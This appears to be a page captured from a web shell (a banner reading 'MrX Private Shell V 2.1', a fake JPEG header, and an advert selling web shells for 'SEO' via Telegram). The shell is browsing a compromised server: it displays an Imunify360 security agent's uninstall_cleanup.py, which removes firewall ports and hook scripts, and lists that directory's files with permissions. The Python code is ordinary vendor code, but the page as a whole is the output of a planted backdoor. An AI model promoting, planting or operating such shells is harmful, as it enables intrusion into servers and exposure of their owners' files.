����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import logging
import os
from pathlib import Path
from defence360agent.contracts.config import AcronisBackup
from defence360agent.rpc_tools.lookup import RootEndpoints, bind
from defence360agent.utils import Scope, atomic_rewrite
from im360.plugins.lfd import LFD
from im360.subsys import csf
from im360.utils.net import OUT, TCP
logger = logging.getLogger(__name__)
class UninstallCleanupEndpoints(RootEndpoints):
SCOPE = Scope.IM360
@bind("remove-csf-ports")
async def remove_csf_ports(self):
if not os.path.isfile(csf.CSF_CONFIG):
logging.info("Nothing to do, there is no csf config file")
return
try:
ports = AcronisBackup.PORTS
ranges = AcronisBackup.RANGE
csf.remove_ports(TCP, OUT, *ports, ranges=ranges)
await csf.restart_all()
logging.info("Successfully removed Acronis ports from csf config")
except Exception:
logger.exception("Failed to remove Arconis ports from csf config")
@bind("remove-csf-post-hook")
async def remove_csf_post_hook(self):
for script_path in [
csf.CSF_POST_HOOK_SCRIPT_USR_LOCAL,
csf.CSF_POST_HOOK_SCRIPT_ETC,
]:
path = Path(script_path)
if not path.is_file():
continue
try:
content = path.read_bytes()
new_content = content
for script_line in (
csf.IPSET_RESTORE_SCRIPT,
csf.IPSET_RESTORE_SCRIPT_LEGACY,
):
if script_line in new_content:
new_content = new_content.replace(script_line, b"")
if new_content != content:
logger.info(
"Removing ipset restore script from %s",
script_path,
)
atomic_rewrite(script_path, new_content)
except Exception:
logger.exception(
"Failed to remove ipset restore script from %s",
script_path,
)
@bind("remove-block-report-script")
async def restore_block_report_script(self):
await LFD().shutdown()
@bind("restore-configs")
async def pre_uninstall(self):
await self.remove_csf_ports()
await self.remove_csf_post_hook()
await self.restore_block_report_script()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| schema_responses | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| configuration_management.py | File | 3.12 KB | 0644 |
|
| conflicts.py | File | 3.21 KB | 0644 |
|
| control_panel.py | File | 484 B | 0644 |
|
| countries.py | File | 5.72 KB | 0644 |
|
| csf_imports.py | File | 2.63 KB | 0644 |
|
| custom_lists.py | File | 642 B | 0644 |
|
| disabled_rules.py | File | 7.47 KB | 0644 |
|
| feature.py | File | 1.9 KB | 0644 |
|
| health.py | File | 343 B | 0644 |
|
| hosting_panel.py | File | 2.73 KB | 0644 |
|
| incidents.py | File | 1.83 KB | 0644 |
|
| kcarectl.py | File | 824 B | 0644 |
|
| lists.py | File | 30.66 KB | 0644 |
|
| malware.py | File | 385 B | 0644 |
|
| middleware.py | File | 1.32 KB | 0644 |
|
| proactive.py | File | 7.91 KB | 0644 |
|
| remote_proxy.py | File | 2.97 KB | 0644 |
|
| resident_socket.py | File | 1.59 KB | 0644 |
|
| schema.py | File | 1.05 KB | 0644 |
|
| smart_advice.py | File | 1.25 KB | 0644 |
|
| smtp_blocking.py | File | 1.72 KB | 0644 |
|
| unavailable_on_freemium.py | File | 354 B | 0644 |
|
| uninstall_cleanup.py | File | 2.42 KB | 0644 |
|
| validate.py | File | 9.19 KB | 0644 |
|
| whitelist_rbl.py | File | 409 B | 0644 |
|
| whitelisted_crawlers.py | File | 1.02 KB | 0644 |
|
| whitelisted_domains.py | File | 821 B | 0644 |
|